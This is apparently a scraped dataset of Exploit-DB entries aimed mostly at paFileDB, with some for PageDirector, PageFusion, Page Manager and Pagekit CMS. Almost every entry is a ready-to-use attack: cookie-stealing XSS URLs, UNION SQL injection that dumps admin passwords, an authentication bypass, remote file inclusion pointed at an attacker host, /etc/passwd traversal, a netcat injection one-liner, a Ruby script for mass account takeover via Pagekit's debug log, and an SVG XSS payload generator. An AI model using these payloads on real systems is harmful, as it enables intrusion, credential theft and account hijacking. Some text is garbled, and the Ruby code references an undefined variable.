deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25216
Description: PAFileDB 1.1.3/2.1.1/3.0/3.1 - 'category.php?start' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-12
Author: sp3x@securityreason.com

Exploit:
source: https://www.securityfocus.com/bid/12788/info
   
Multiple SQL injection and cross-site scripting vulnerabilities exist in paFileDB. These issues are reported to exist in the 'viewall.php' and 'category.php' scripts.
   
Exploitation of these issues may allow for compromise of the software, session hijacking, or attacks against the underlying database. 

http://www.example.com/[pafiledb_dir]/pafiledb.php?action=category&start="><iframe%20src=http://www.securityreason.com></iframe>&sortby=date
Exploit-DB #25214
Description: PAFileDB 1.1.3/2.1.1/3.0/3.1 - 'category.php?start' SQL Injection
Type: webapps
Platform: php
Date: 2005-03-12
Author: sp3x@securityreason.com

Exploit:
source: https://www.securityfocus.com/bid/12788/info
 
Multiple SQL injection and cross-site scripting vulnerabilities exist in paFileDB. These issues are reported to exist in the 'viewall.php' and 'category.php' scripts.
 
Exploitation of these issues may allow for compromise of the software, session hijacking, or attacks against the underlying database. 

http://www.example.com/[pafiledb_dir]/pafiledb.php?action=category&start='&sortby=rating
Exploit-DB #25215
Description: PAFileDB 1.1.3/2.1.1/3.0/3.1 - 'viewall.php?start' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-12
Author: sp3x@securityreason.com

Exploit:
source: https://www.securityfocus.com/bid/12788/info
  
Multiple SQL injection and cross-site scripting vulnerabilities exist in paFileDB. These issues are reported to exist in the 'viewall.php' and 'category.php' scripts.
  
Exploitation of these issues may allow for compromise of the software, session hijacking, or attacks against the underlying database. 

http://www.example.com/[pafiledb_dir]/pafiledb.php?action=viewall&start="><iframe%20src=http://www.securityreason.com></iframe&gt;&amp;sortby=rating
Exploit-DB #25213
Description: PAFileDB 1.1.3/2.1.1/3.0/3.1 - 'viewall.php?start' SQL Injection
Type: webapps
Platform: php
Date: 2005-03-12
Author: sp3x@securityreason.com

Exploit:
source: https://www.securityfocus.com/bid/12788/info

Multiple SQL injection and cross-site scripting vulnerabilities exist in paFileDB. These issues are reported to exist in the 'viewall.php' and 'category.php' scripts.

Exploitation of these issues may allow for compromise of the software, session hijacking, or attacks against the underlying database. 

http://www.example.com/[pafiledb_dir]/pafiledb.php?action=viewall&start='&sortby=rating
Exploit-DB #25824
Description: PAFileDB 1.1.3/2.1.1/3.0/3.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-15
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/13967/info

paFileDB is prone to multiple input validation vulnerabilities. The following issues are reported:

Multiple SQL injection issues exist in paFileDB.

The impact of these issues will vary depending on features supported by the database implementation but may be limited due to the nature of affected queries.

Multiple cross-site scripting issues are also reported when passing user-supplied arguments to the 'sortby', 'filelist', and 'pages' parameters of the 'pafiledb.php' script.

Exploitation of these issues may allow for compromise of the software, session hijacking, or attacks against the underlying database.

Finally, paFileDB is prone to a file disclosure vulnerability. The 'action' parameter of the 'pafiledb.php' script is affected by the vulnerability. 

http://www.example.com/pafiledb.php?action=viewall&start=20&sortby=name%22
%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://www.example.com/pafiledb.php?action=category&id=1&filelist=%22%3E%3C
script%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://www.example.com/pafiledb.php?action=category&id=1&pages=%22%3E
%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

http://www.example.com/pafiledb.php?action=admin&login=do&formname=-99'%20UNION
%20SELECT%20admin_id,%20admin_username,%20'6f1ed002ab[PII_REDACTED]ebf0951522d9',
%20admin_email,%201%20FROM%20pafiledb_admin%20WHERE%20'1&formpass=blah&B1=
%3E%3E+Log+In+%3C%3C&action=admin&login=do

http://www.example.com/pafiledb.php?select=-99'%20UNION%20SELECT%200,admin_username,
admin_password,0,0,0,0%20FROM%20pafiledb_admin%20WHERE%201/*&B1=%3E%3E+Edit+
Category+%3C%3C&action=team&tm=category&category=edit&edit=form&menu1=%2F
pafiledb%2Fpafiledb.php%3Faction%3Dteam%26tm%3Dcategory%26category%3Dedit

http://www.example.com/pafiledb.php?id=-99'%20UNION%20SELECT%200,admin_username,
admin_password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20pafiledb_admin%20WHERE%
201/*&B1=%3E%3E+Edit+File+%3C%3C&action=team&tm=file&file=edit&edit=form&menu1
=%2Fpafiledb%2Fpafiledb.php%3Faction%3Dteam%26tm%3Dfile%26file%3Dedit

http://www.example.com/pafiledb.php?action=team&tm=file&file=edit&id=1&edit=do&
query=UPDATE%20pafiledb_admin%20SET%20admin_password%20=%20MD5%281337%28%
20WHERE%201/*

http://www.example.com/pafiledb.php?action=../../../../etc/passwd%00&login=do
Exploit-DB #1774
Description: pafileDB 2.0.1 - 'mxBB'/'phpBB' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-09
Author: Darkfire

Exploit:
# PafileDB Remote File Inclusion[phpBB]
#
# Contact : irc.gigachat.net #ir4dex & darkfire@f4kelive.zzn.com
# Risk : High
# Class : Remote
# Script : pafileDB
# Version : not specified

---------------------------------------------------------------------

Vulnerable code :

$link_language = 'lang_english';
    include( $module_root_path . 'language/' . $link_language . '/lang_pafiledb.' . $phpEx );
---------------------------------------------------------------------

http://www.site.com/[phpBBpath]/[pafiledbpath]/includes/pafiledb_constants.php?module_root_path=http://[attacker]

by Darkfire and IR4DEX GROUP
Greetz: Smurf_RedHat :: V0lks

# milw0rm.com [2006-05-09]
Exploit-DB #10667
Description: paFileDB 3.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : paFileDB 3.1 Cross Site Scripting Vulnerability                         |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   : 10667                                                                   |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : paFileDB 3.1  &#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533; http://www.bwady.com/vb            |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://127.0.0.1/tools/pafiledb.php?action=email&id=1>"><ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>&rate=dorate&rating=1&B1=hacked%20by%20indoushka
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #24798
Description: PAFileDB 3.1 - Error Message Full Path Disclosure
Type: webapps
Platform: php
Date: 2004-12-04
Author: y3dips

Exploit:
source: https://www.securityfocus.com/bid/11817/info

paFileDB is prone to an installation path disclosure. If invalid requests are made to certain scripts, the installation path is included in the returned error message.

http://www.example.com/pafiledb/includes/admin/admins.php
http://www.example.com/pafiledb/includes/admin/category.php
http://www.example.com/pafiledb/includes/team.php
Exploit-DB #2899
Description: paFileDB 3.5.2/3.5.3 - Remote Authentication Bypass / SQL Injection
Type: webapps
Platform: php
Date: 2006-12-08
Author: koray

Exploit:
# PafileDB Login SQL injection =)
# author : koray & manyak@mypower.org
# Risk : High
# Class : Remote
# Vulnerable Script : pafileDB
# Version : 3.5.2 / 3.5.3
# google : powered by pafiledb 3.5.3/2
# greetz : www.cigicigi.net & redhackers

Vulnerable;
include/admin/auth.php

c0de ;
if (isset($_COOKIE['pafiledb_user']) && isset($_COOKIE['pafiledb_pass'])) { //If the cookie exists, do all this:
    
    $admininfo = array();
    if (checkpass($_COOKIE['pafiledb_user'], $_COOKIE['pafiledb_pass'], $admininfo)) {
        //checkpass() returned true, so the user exists
        
        //$adminloggedin is a var used throughout the script to see if someone's logged in.
        $adminloggedin = true;
        $smarty->assign('admininfo', $admininfo[0]);
        
    } else { //The cookie exists, but the user/pass don't match
...

username : 1%20union%20select%%20201,2,3,4/*
[CREDENTIAL_REDACTED],2,3,4/* /

pafile/pafiledb.php?action=admin logged...

# milw0rm.com [2006-12-08]
Exploit-DB #4186
Description: paFileDB 3.6 - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-14
Author: pUm

Exploit:
Site: http://www.phparena.net/pafiledb
Description: SQL injection (categories) in includes/search.php
Code: $results = $db->GetArray("SELECT * FROM ".$dbPrefix."files WHERE (".$searchin.") AND file_catid IN (".implode(',',$_POST['categories']).")");

Comment:"ouuch"

SQL: ) UNION SELECT ALL null,user_username,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM (pafiledb_users

POC:
host="www.example.com"; echo -e "POST
http://$host/index.php?act=search&process HTTP/1.1\nHost:
$host\nContent-Length:
302\n\nquery=test&search_in[]=file_name&search_in[]=file_desc&search_in[]=file_longdesc&search_in[]=file_creator&search_in[]=file_version&categories[]=1)
UNION SELECT ALL
null,user_username,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
FROM (pafiledb_users"| netcat $host 80

Vendor: was informed, but did not response yet...
credits: h4si & pUm

# milw0rm.com [2007-07-14]
Exploit-DB #5936
Description: Page Manager CMS 2006-02-04 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-06-25
Author: CWH Underground

Exploit:
================================================================
  Page Manager CMS Remote Arbitrary File Upload Vulnerability
================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 25 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : Page Manager 
 VERSION     : 2006-02-04
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/pagemanager
#####################################################

---Arbitrary File Upload Exploit---

	This Vulnerability can upload malicious files direct to web server.

[Anonymous Can arbitrary upload]

[+] Upload Path: http://[Target]/[pagemanager_path]/upload.php

[+] Shell Script: http://[Target]/[Evil File]


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-25]
Exploit-DB #14112
Description: PageDirector CMS - 'result.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-29
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
      PageDirector CMS (result.php) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: June, 29-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: PageDirector CMS
Vendor  	: http://www.customerparadigm.com/
Price		: $675.00
----------------------------------------------------------------

Exploit:
~~~~~~~
+and+1=2+union+all+select+1,group_concat(username,char(58),password)v3n0m,3,4,5,6,7,8,9,10,11,12+from+admin--

Poc:
~~~~~~~

http://127.0.0.1/[path]/result.php?catid=[xxx]&sub_catid=[SQLi]

**[xxx] = valid catid
----------------------------------------------------------------

WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com

---------------------------[EOF]--------------------------------
Exploit-DB #14089
Description: PageDirector CMS - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-06-28
Author: Tr0y-x

Exploit:
###################################################################################
# Exploit Title : PageDirector CMS Multiple Vulnerabilities
# Date : 20 - 6 - 2010
# Author : Tr0y-x
# Vendor : www.customerparadigm.com
# Version : All Versions
# Tested on : Linux
# Home : WwW.SeC-WaR.CoM <http://www.sec-war.com/>
# Price : 675.00 $ << loooooolz
###################################################################################

-== SQL Injection Vulenrability ==-

PageDirector Script Contains A SQL Injection Vulenrability In (Index.php)
http://www.[site].com/[path]/index.php?id=[SQL]
[SQL] = UniOn+AlL+SelEct+group_concat(username,0x3e,password)+from+admin--

###################################################################################

-== Add Admin Vulenrability ==-

PageDirector Script Can Bypass The Login Page Of Admin And Add A New User
http://www.[site].com/[path]/siteadmin/adduser.php?mode=Add

###################################################################################

-== Greetz =-

G3n1ux - PrEdAtOr - xXx - Alnjm33 - xR57 - Ahmadso - Jamba - Dr.silent hill

FireStorm - Mr-Alsaeek - Mr.Viktoor

###################################################################################
Exploit-DB #32020
Description: PageFusion 1.5 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-07-09
Author: Julian Rodriguez

Exploit:
source: https://www.securityfocus.com/bid/30155/info

PageFusion is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PageFusion 1.5 is vulnerable; other versions may also be affected. 

http://www.pagefusion.com//index.php?A=pf_login&SA=edit&PID=[PII_REDACTED]&PGID=rdWCFSLF9E&MID=14&acct_fname=%
<http://www.pagefusion.com//index.php?A=pf_login&SA=edit&PID=[PII_REDACTED]&PGID=rdWCFSLF9E&MID=14&acct_fname=%>">/><script>alert(/xs/)</script>&acct_lname=T
est&acct_username=hack3d&acct_email=hack3db0y%40gmail.com
<http://40gmail.com>&acct_time_zone=-0600


http://www.pagefusion.com//index.php?A=pf_login&SA=edit&PID=[PII_REDACTED]&PGID=rdWCFSLF9E&MID=14&acct_fname=%333&acct_lname=
<http://www.pagefusion.com//index.php?A=pf_login&SA=edit&PID=[PII_REDACTED]&PGID=rdWCFSLF9E&MID=14&acct_fname=%333&acct_lname=>">/><script>alert(/xs/)</scrip
t>&acct_username=hack3d&acct_email=hack3db0y%40gmail.com
<http://40gmail.com>&acct_time_zone=-0600

http://www.pagefusion.com/index.php?PID=">/><script>alert(/xs/)</script>
http://www.pagefusion.com/index.php?PID=[PII_REDACTED]&PGID=
<http://www.pagefusion.com/index.php?PID=[PII_REDACTED]&PGID=>">/><script>alert(/xs/)</script>

http://www.pagefusion.com/index.php?rez=">/><script>alert(/xs/)</script>&jsd=1&js=Yes&profile=1
Exploit-DB #41143
Description: PageKit 1.0.10 - Password Reset
Type: webapps
Platform: php
Date: 2017-01-21
Author: Saurabh Banawar

Exploit:
# Exploit Title: Remote PageKit Password Reset Vulnerability
# Date:​21-01-2017
# Software Link: http://pagekit.com/
# Exploit Author: Saurabh Banawar from SecureLayer7​

# Contact: http://twitter.com/​securelayer7
# Website: http​s://securelayer7.net​
# Category: webapps

1. Description

Anyremote user can reset the password by reading the debug log, the exploit
can be successfully executed, if the debug option is enabled in the Pagekit
CMS.

CMS Pentest report can be found here:https://securelayer7.net/
download/pdf/SecureLayer7-Pentest-report-Pagekit-CMS.pdf


2. Proof of Concept

​require 'net/http'

#Enter the domain/IP address of the site for which you want to test this vulnerability
vulnerableSite = 'http://127.0.0.1'

loopCount = 0
while loopCount == 0


#We request the Login page which has the debug parameter
url = URI.parse(vulnerableSite + '/pagekit/index.php/user/login')
request = Net::HTTP::Get.new(url.to_s)
resp = Net::HTTP.start(url.host, url.port) {|http|
http.request(request)
}

#The response is received and is sent to many regular expression to find the value of _debug parameter from its HTML source code
bodyOfResponse =  resp.body
myArray1 = bodyOfResponse.split(/"current":"/)
outputOfMyArray1 = myArray1[1]
myArray2 = outputOfMyArray1.split(/"};/)
theSecret = myArray2[0]
puts ""
puts "The secret token to debug link is: #{theSecret}"
puts ""
url = URI.parse(vulnerableSite + '/pagekit/index.php/_debugbar/' + theSecret)
request = Net::HTTP::Get.new(url.to_s)
resp = Net::HTTP.start(url.host, url.port) {|http|
http.request(request)
}

resp.body

initial = resp.body

#The count of number of victim users is found out
 users = initial.scan(/user=.+?(?=")/)
 c =  users.count
 e = c.to_i
 
#If the count is 0 then we continuosly monitor it
 if c == 0 then puts "Currently no user has clicked on reset password like."
 
 puts ""
 puts "Trying again..."
 puts ""
 puts ""
 
#If the count is greater than 0 then it means we found a victim. So, find the password reset link and display it in the console
 else
 
 link1 = vulnerableSite + "/pagekit/index.php/user/resetpassword/confirm?user="
 link2 = "&key="
 i = 0
  while i<e
	securityToken = ''
    a = real[i]
	b = a.split('=')
	c = b[1]
	d = c.split('\\')
	victimUserName = d[0]
	puts "The victim is: #{victimUserName}"
	f = b[2]
	securityToken = f.scan(/[^\\]/)
	securityTokenFiltered = securityToken.join
	puts "The security token of victim is: #{securityTokenFiltered}"
	puts "Link for account takeover"
	puts "#{link1}#{victimUserName}#{link2}#{securityTokenFiltered}"
	puts ""
	puts ""
	i += 1
 end
 
 
 end
 
 # This loop runs forever because we want to continuosly monitor who is requesting a password reset and who has clicked on the link so that
 # we can perform mass account takeovers
 end
 
 

3. Solution:

Update to version 1.0.11
https://github.com/pagekit/pagekit/releases/tag/1.0.11
Exploit-DB #44837
Description: Pagekit < 1.0.13 - Cross-Site Scripting Code Generator
Type: webapps
Platform: php
Date: 2018-06-05
Author: DEEPIN2

Exploit:
# Title: Pagekit < 1.0.13 - Cross-Site Scripting Code Generator
# Author : DEEPIN2
# Date: 2018-06-05
# Vendor: Pagekit
# Sotware: https://pagekit.com/
# Version: < 1.0.13
# CVE: 2018-11564
# python3 required

def makesvg(name, code):
	code = '<exploit:script xmlns:exploit="http://www.w3.org/1999/xhtml">' + code + '</exploit:script>'
	f = open(name, 'w+')
	f.write(code)
	f.close


if __name__ == '__main__':
	print('''
  ______     _______     ____   ___  _  ___        _ _ ____   __   _  _   
 / ___\ \   / / ____|   |___ \ / _ \/ |( _ )      / / | ___| / /_ | || |  
| |    \ \ / /|  _| _____ __) | | | | |/ _ \ _____| | |___ \| '_ \| || |_ 
| |___  \ V / | |__|_____/ __/| |_| | | (_) |_____| | |___) | (_) |__   _|
 \____|  \_/  |_____|   |_____|\___/|_|\___/      |_|_|____/ \___/   |_|  
	[*] Author : DEEPIN2(Junseo Lee)''')
	print('[*] enter name without extension, ex) test.svg -> test')
	filename = input('Filename : ') + '.svg'
	print('[*] If you want to use alert(), type "alert("bla..bla..")"')
	scriptcode = input('Script code : ')
	try:
		makesvg(filename, scriptcode)
		print('[+] Successfully make venom file "%s"' %filename)
	except Error as e:
		print(e)